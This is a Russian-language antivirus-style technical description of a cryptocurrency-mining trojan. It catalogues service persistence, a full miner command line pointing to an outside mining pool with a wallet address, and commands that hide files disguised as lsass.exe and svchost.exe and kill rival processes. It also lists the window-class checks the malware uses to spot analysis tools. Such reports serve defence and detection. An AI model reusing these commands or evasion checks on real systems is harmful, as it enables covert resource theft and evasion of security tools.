Техническая информация
Для обеспечения автозапуска и распространения:
Создает следующие сервисы:
- [<HKLM>\SYSTEM\ControlSet001\Services\Adapter] 'Start' = '00000002'
Вредоносные функции:
Создает и запускает на исполнение:
- '%WINDIR%\Logs\svchost.exe' runsrv /name:"Adapter" /prinum:"32" /cmdline:"%WINDIR%\Logs\lsass.exe -a cryptonight -o stratum+tcp://mcn.extremepool.org:5555 -u 45JAe42tDac8iNoRDW1NbNhArJdXB6TEuJ98xkbgoFd5C6hoZYREBK4PCCVjfExczbaoW2SPDKWT79Yf1RtiMPsUPiyssdo -p x -t 3"
- '%WINDIR%\Logs\svchost.exe' add /cmdline:"%WINDIR%\Logs\lsass.exe -a cryptonight -o stratum+tcp://mcn.extremepool.org:5555 -u 45JAe42tDac8iNoRDW1NbNhArJdXB6TEuJ98xkbgoFd5C6hoZYREBK4PCCVjfExczbaoW2SPDKWT79Yf1RtiMPsUPiyssdo -p x -t 3" /name:"Adapter"
Запускает на исполнение:
- '<SYSTEM32>\attrib.exe' +s +h %WINDIR%\Logs\lsass.exe
- '<SYSTEM32>\sc.exe' start Adapter
- '%WINDIR%\regedit.exe' /s server.reg
- '<SYSTEM32>\attrib.exe' +h %WINDIR%\Logs\msvcp71.dll
- '<SYSTEM32>\attrib.exe' +h %WINDIR%\Logs\msvcr71.dll
- '<SYSTEM32>\attrib.exe' +s +h %WINDIR%\Logs\svchost.exe
- '<SYSTEM32>\sc.exe' delete adapter
- '<SYSTEM32>\taskkill.exe' /im lsaoss.exe /f
- '<SYSTEM32>\cmd.exe' /c ""%WINDIR%\Logs\1.bat" "
- '<SYSTEM32>\wscript.exe' "%WINDIR%\Logs\2.vbs"
- '<SYSTEM32>\sc.exe' config adapter start= demand
- '<SYSTEM32>\sc.exe' stop adapter
- '<SYSTEM32>\taskkill.exe' /im msconv32.exe /f
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'FilemonClass' WindowName: '(null)'
- ClassName: 'PROCMON_WINDOW_CLASS' WindowName: '(null)'
- ClassName: 'RegmonClass' WindowName: '(null)'
- ClassName: 'OLLYDBG' WindowName: '(null)'
- ClassName: 'GBDYLLO' WindowName: '(null)'
- ClassName: 'pediy06' WindowName: '(null)'
Изменения в файловой системе:
Создает следующие файлы:
- %WINDIR%\Logs\msvcr71.dll
- %WINDIR%\Logs\msvcp71.dll
- %WINDIR%\Logs\lsass.exe
- %WINDIR%\Logs\server.reg
- %WINDIR%\Logs\zlib1.dll
- %WINDIR%\Logs\svchost.exe
- %WINDIR%\Logs\ssleay32.dll
- %WINDIR%\Logs\libcurl.dll
- %WINDIR%\Logs\2.vbs
- %WINDIR%\Logs\1.bat
- %WINDIR%\Logs\libeay32.dll
- %WINDIR%\Logs\libwinpthread-1.dll
- %WINDIR%\Logs\libstdc++-6.dll
- %WINDIR%\Logs\libgcc_s_seh-1.dll
Присваивает атрибут 'скрытый' для следующих файлов:
- %WINDIR%\Logs\msvcr71.dll
- %WINDIR%\Logs\msvcp71.dll
- %WINDIR%\Logs\lsass.exe
- %WINDIR%\Logs\svchost.exe
Удаляет следующие файлы:
- %WINDIR%\Logs\2.vbs
- %WINDIR%\Logs\server.reg
Другое:
Ищет следующие окна:
- ClassName: '(null)' WindowName: 'Registry Monitor - Sysinternals: www.sysinternals.com'
- ClassName: '(null)' WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegEdit_RegEdit' WindowName: '(null)'
- ClassName: '18467-41' WindowName: '(null)'
- ClassName: 'Shell_TrayWnd' WindowName: '(null)'
- ClassName: 'EDIT' WindowName: '(null)'
- ClassName: '(null)' WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: '(null)' WindowName: '(null)'
